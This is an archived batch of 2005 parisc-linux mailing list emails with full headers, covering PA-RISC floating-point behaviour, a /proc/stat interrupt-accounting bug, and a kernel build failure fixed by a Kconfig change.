X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Feb 2005 21:12:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx066) with SMTP; 02 Feb 2005 22:12:33 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4AD4C7D62B;
	Wed,  2 Feb 2005 14:12:26 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05017-06; Wed, 2 Feb 2005 14:12:26 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 952B27D62F;
	Wed,  2 Feb 2005 14:12:18 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A40947D62A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  2 Feb 2005 14:12:17 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04853-07 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 2 Feb 2005 14:12:10 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 0B4077D629
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  2 Feb 2005 14:12:09 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j12LBuhF002893; Wed, 2 Feb 2005 16:11:56 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j12LBuSU002892;
	Wed, 2 Feb 2005 16:11:56 -0500 (EST)
In-Reply-To: <20050202193851.M58001@contactbda.com> from "Jim Buttafuoco" at
	Feb 2, 2005 02:42:07 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: EjZkMsEpZCEX7LGPamwhd2FwIGhpZYZR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22322

> I am trying to Postgresql working on my 710 and 735 hp systems and I am
> having problems with some math functions and 
> the postgresql fokes sent me over here.  Does anyone know of any problems
> with math on these systems.  In the next few 
> days, I will put together a small C program as an example of the problem
> 
> One example of an issue is just "select 'infinity'::float8;" 

No issues are known.  PA 1.1 lacks the fneg instruction.  Thus, you
may have issues with -0.0 if you use unsafe_math_optimizations.  It
also lacks some convert insns that are provided in hardware in PA 2.0.
The kernel emulates some of the insns that are missing.  I think you
need to provide a C example showing the problem(s).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] /proc/stat became wrong during 2.6.10-pa6 pa7
	transition???
Date: Thu, 3 Feb 2005 14:26:35 +0000
Lines: 46
Approved: news@gmane.org
Message-ID: <20050203142635.GB20386@parcelfarce.linux.theplanet.co.uk>
References: <41DE9360000085A1@mail-4-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623661 12639 80.91.229.3 (22 Nov 2014 02:34:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Feb 2005 14:26:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx045) with SMTP; 03 Feb 2005 15:26:56 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 93AB87D645;
	Thu,  3 Feb 2005 07:27:00 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08775-08; Thu, 3 Feb 2005 07:27:00 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BCCB27D63E;
	Thu,  3 Feb 2005 07:26:52 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E1F1A7D637
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  3 Feb 2005 07:26:50 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08727-09 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 3 Feb 2005 07:26:43 -0700 (MST)
Original-Received: from parcelfarce.linux.theplanet.co.uk
	(parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id 6734A7D630
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  3 Feb 2005 07:26:43 -0700 (MST)
Original-Received: from willy by parcelfarce.linux.theplanet.co.uk with local (Exim
	4.33) id 1CwhwJ-0001Lc-6i; Thu, 03 Feb 2005 14:26:35 +0000
Content-Disposition: inline
In-Reply-To: <41DE9360000085A1@mail-4-bnl.tiscali.it>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 4kBnMhpqZCEX7LGPamwhd2FwIGhpZUZf
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22323

On Thu, Feb 03, 2005 at 08:38:06AM +0100, Joel Soete wrote:
> I previously mentioned that top didn't report anymore right values since
> 2.6.10-pa7:
> ...
> Cpu(s):  0.7% us,  0.0% sy,  0.0% ni,  0.0% id,  0.0% wa, 99.3% hi,  0.0%
> si
> ...
> 
> while 2.6.10-pa6 was seems more relevant:
> ...
> Cpu(s):  0.7% us,  1.0% sy,  0.0% ni, 98.4% id,  0.0% wa,  0.0% hi,  0.0%
> si
> ...
> 
> and btw I noticed that strange stat reports too:
> 2.6.10-pa6 # cat /proc/stat
> cpu  23248 3356 64981 4508884 30377 0 147
> cpu0 23248 3356 64981 4508884 30377 0 147
> ...
> i.e. 7 field ok
> OTC
> 2.6.10-pa7 # car /proc/stat
> cpu  88358 16430 0 0 0 33813422 0 0
> cpu0 88358 16430 0 0 0 33813422 0 0
> ...
> fwfw _8_ field ???

Aha, found it.  Thanks for pointing out that /proc/stat was the
guilty party.  Don't worry about the 7/8 fields, that's a red herring.
The problem was that we weren't calling irq_enter/irq_exit().  I just
committed that fix, but now we appear to *never* spend any time in
interrupts.  I think I know how to fix that, but we'll see ...

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6.11-rc3 failled to build on b2k
Date: Thu, 3 Feb 2005 16:48:21 +0000
Lines: 67
Approved: news@gmane.org
Message-ID: <41DE936000008A0C@mail-4-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623661 12640 80.91.229.3 (22 Nov 2014 02:34:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:21 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Feb 2005 16:49:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx050) with SMTP; 03 Feb 2005 17:49:12 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D7C1E7D64C;
	Thu,  3 Feb 2005 09:48:48 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09660-04; Thu, 3 Feb 2005 09:48:48 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F11817D647;
	Thu,  3 Feb 2005 09:48:40 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5D6E57D644
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  3 Feb 2005 09:48:40 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09557-05 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 3 Feb 2005 09:48:33 -0700 (MST)
Original-Received: from mrq-2.tiscalinet.it (unknown [195.130.225.12])
	by free.linux.hp.com (Postfix) with ESMTP id A015E7D63E
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  3 Feb 2005 09:48:32 -0700 (MST)
Original-Received: from mail-4-bnl.mail.tiscali.sys ([10.39.115.134]
	helo=mail-4-bnl.tiscali.it)
	by mrq-2.tiscalinet.it with esmtp (Exim 4.43) id 1Cwk9W-0002l8-N7
	for parisc-linux@lists.parisc-linux.org; Thu, 03 Feb 2005 17:48:24 +0100
Original-Received: from [57.67.177.33] by mail-4-bnl.tiscali.it with HTTP;
	Thu, 3 Feb 2005 17:48:21 +0100
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: MG40C6NgQEVssejDZnVpSktKNzg2NcLY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22324

Hi all,

2.6.11-rc3-pa? build and boot fine on b180 (unfortunately no more N4k, it=

definitely goes back to production :_()
But strangely failed to build on b2k (64bit but would also on 32 bit)
...
   hppa64-linux-ld   -r -o init/built-in.o init/main.o init/version.o ini=
t/mounts.o
init/initramfs.o init/calibrate.o
  hppa64-linux-ld   -o .tmp_vmlinux1 -T arch/parisc/kernel/vmlinux.lds ar=
ch/parisc/kernel/head.o
  init/built-in.o --start-group  us
r/built-in.o  arch/parisc/mm/built-in.o  arch/parisc/kernel/built-in.o  a=
rch/parisc/math-emu/built-in.o
arch/parisc/kernel/init_task
.o  kernel/built-in.o  mm/built-in.o  fs/built-in.o  ipc/built-in.o  secu=
rity/built-in.o
 crypto/built-in.o  lib/lib.a  
arch/parisc/
lib/lib.a `hppa64-linux-gcc -print-libgcc-file-name`  lib/built-in.o  arc=
h/parisc/lib/built-in.o
`hppa64-linux-gcc -print-libgcc-fil
e-name`  drivers/built-in.o  sound/built-in.o  net/built-in.o --end-group=

fs/built-in.o(.text.fh_verify+0x23c): In function `fh_verify':
: undefined reference to `export_op_default'
fs/built-in.o(.text.fh_compose+0x2a0): In function `fh_compose':
: undefined reference to `export_op_default'
fs/built-in.o(.text.fh_update+0xd0): In function `fh_update':
: undefined reference to `export_op_default'
fs/built-in.o(.text._fh_update+0x34): In function `_fh_update':
: undefined reference to `export_op_default'
fs/built-in.o(.data.rel.ro+0x678): In function `.LC16':
: undefined reference to `find_exported_dentry'
make[1]: *** [.tmp_vmlinux1] Error 1
make: *** [vmlinux] Error 2
...

A short analyse, it seems that's because NFSD was builtin while EXPORTFS
was a module in my previous config file. Imho EXPORTFS would be build as
NFSD?

Is the following hunk would do the trick:
--- fs/Kconfig.Orig     2005-02-03 16:45:13.562275206 +0100
+++ fs/Kconfig  2005-02-03 16:46:36.496469111 +0100
@@ -1400,6 +1400,7 @@
        tristate "NFS server support"
        depends on INET
        select LOCKD
+       select EXPORTFS
        select SUNRPC
        help
          If you want your Linux box to act as an NFS *server*, so that o=
ther
=3D=3D=3D=3D=3D=3D=3D=3D><=3D=3D=3D=3D=3D=3D=3D=3D

Thanks in advance,
    Joel


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] /proc/stat became wrong during 2.6.10-pa6 pa7
	transition???
Date: Thu, 3 Feb 2005 08:38:06 +0100
Lines: 78
Approved: news@gmane.org
Message-ID: <41DE9360000085A1@mail-4-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623662 12641 80.91.229.3 (22 Nov 2014 02:34:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:22 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Feb 2005 07:38:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx023) with SMTP; 03 Feb 2005 08:38:38 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D0FC67D639;
	Thu,  3 Feb 2005 00:38:36 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06406-05; Thu, 3 Feb 2005 00:38:36 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C7E227D63A;
	Thu,  3 Feb 2005 00:38:28 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D69A07D637
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  3 Feb 2005 00:38:26 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06406-01 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 3 Feb 2005 00:38:19 -0700 (MST)
Original-Received: from mrq-2.tiscalinet.it (unknown [195.130.225.12])
	by free.linux.hp.com (Postfix) with ESMTP id 25D417D630
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  3 Feb 2005 00:38:19 -0700 (MST)
Original-Received: from mail-4-bnl.mail.tiscali.sys ([10.39.115.134]
	helo=mail-4-bnl.tiscali.it)
	by mrq-2.tiscalinet.it with esmtp (Exim 4.43) id 1CwbZ1-0004oq-IO
	for parisc-linux@lists.parisc-linux.org; Thu, 03 Feb 2005 08:38:10 +0100
Original-Received: from [57.67.177.33] by mail-4-bnl.tiscali.it with HTTP;
	Thu, 3 Feb 2005 08:38:06 +0100
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: m71kA+YXfW4o/eWveGVodW5mdmllckVa
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22325

Hello all,

I previously mentioned that top didn't report anymore right values since
2.6.10-pa7:
...
Cpu(s):  0.7% us,  0.0% sy,  0.0% ni,  0.0% id,  0.0% wa, 99.3% hi,  0.0%=

si
...

while 2.6.10-pa6 was seems more relevant:
...
Cpu(s):  0.7% us,  1.0% sy,  0.0% ni, 98.4% id,  0.0% wa,  0.0% hi,  0.0%=

si
...

and btw I noticed that strange stat reports too:
2.6.10-pa6 # cat /proc/stat
cpu  23248 3356 64981 4508884 30377 0 147
cpu0 23248 3356 64981 4508884 30377 0 147
...
i.e. 7 field ok
OTC
2.6.10-pa7 # car /proc/stat
cpu  88358 16430 0 0 0 33813422 0 0
cpu0 88358 16430 0 0 0 33813422 0 0
...
fwfw _8_ field ???

while src (afaik fs/proc/proc_misc.c:show_stat()) doesn't change at all:
...
        seq_printf(p, "cpu  %llu %llu %llu %llu %llu %llu %llu\n",
                (unsigned long long)jiffies_64_to_clock_t(user),
                (unsigned long long)jiffies_64_to_clock_t(nice),
                (unsigned long long)jiffies_64_to_clock_t(system),
                (unsigned long long)jiffies_64_to_clock_t(idle),
                (unsigned long long)jiffies_64_to_clock_t(iowait),
                (unsigned long long)jiffies_64_to_clock_t(irq),
                (unsigned long long)jiffies_64_to_clock_t(softirq));
        for_each_online_cpu(i) {

                /* Copy values here to work around gcc-2.95.3, gcc-2.96 *=
/
                user =3D kstat_cpu(i).cpustat.user;
                nice =3D kstat_cpu(i).cpustat.nice;
                system =3D kstat_cpu(i).cpustat.system;
                idle =3D kstat_cpu(i).cpustat.idle;
                iowait =3D kstat_cpu(i).cpustat.iowait;
                irq =3D kstat_cpu(i).cpustat.irq;
                softirq =3D kstat_cpu(i).cpustat.softirq;
                seq_printf(p, "cpu%d %llu %llu %llu %llu %llu %llu %llu\n=
",
                        i,
                        (unsigned long long)jiffies_64_to_clock_t(user),
                        (unsigned long long)jiffies_64_to_clock_t(nice),
                        (unsigned long long)jiffies_64_to_clock_t(system)=
,
                        (unsigned long long)jiffies_64_to_clock_t(idle),
                        (unsigned long long)jiffies_64_to_clock_t(iowait)=
,
                        (unsigned long long)jiffies_64_to_clock_t(irq),
                        (unsigned long long)jiffies_64_to_clock_t(softirq=
));
        }
...

any idea?

Joel


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steve Bromwich <hppa@fop.ns.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: 2.6 upgrade problems
Date: Sat, 5 Feb 2005 12:23:14 -0400 (AST)
Lines: 58
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0502051211590.12670@brain.fop.ns.ca>
References: <Pine.LNX.4.58.0501171521470.3385@brain.fop.ns.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=US-ASCII
X-Trace: ger.gmane.org 1416623662 12644 80.91.229.3 (22 Nov 2014 02:34:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:22 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Feb 2005 16:33:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx061) with SMTP; 05 Feb 2005 17:33:40 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E3A4F7D6A3;
	Sat,  5 Feb 2005 09:33:38 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26004-04; Sat, 5 Feb 2005 09:33:38 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0E3687D69E;
	Sat,  5 Feb 2005 09:33:31 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A831D7D69B
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  5 Feb 2005 09:33:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26004-01 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 5 Feb 2005 09:33:22 -0700 (MST)
Original-Received: from jingo.impsolweb.ca (h64-5-255-70.gtconnect.net [64.5.255.70])
	by free.linux.hp.com (Postfix) with ESMTP id 0DC867D690
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  5 Feb 2005 09:33:22 -0700 (MST)
Original-Received: from blk-222-177-142.eastlink.ca
	([24.222.177.142] helo=brain.fop.ns.ca ident=mail)
	by jingo.impsolweb.ca with esmtp (Exim 3.35 #1 (Debian))
	id 1CxSrp-0001eP-00 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 05 Feb 2005 12:33:05 -0400
Original-Received: from lists (helo=localhost)
	by brain.fop.ns.ca with local-esmtp (Exim 3.35 #1 (Debian))
	id 1CxSiJ-0003MM-00 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 05 Feb 2005 12:23:15 -0400
X-X-Sender: lists@brain.fop.ns.ca
In-Reply-To: <Pine.LNX.4.58.0501171521470.3385@brain.fop.ns.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22326

OK, I had the chance to sit down and do some research and
fixed/ameliorated most of these problems - hopefully this will help
someone else out!

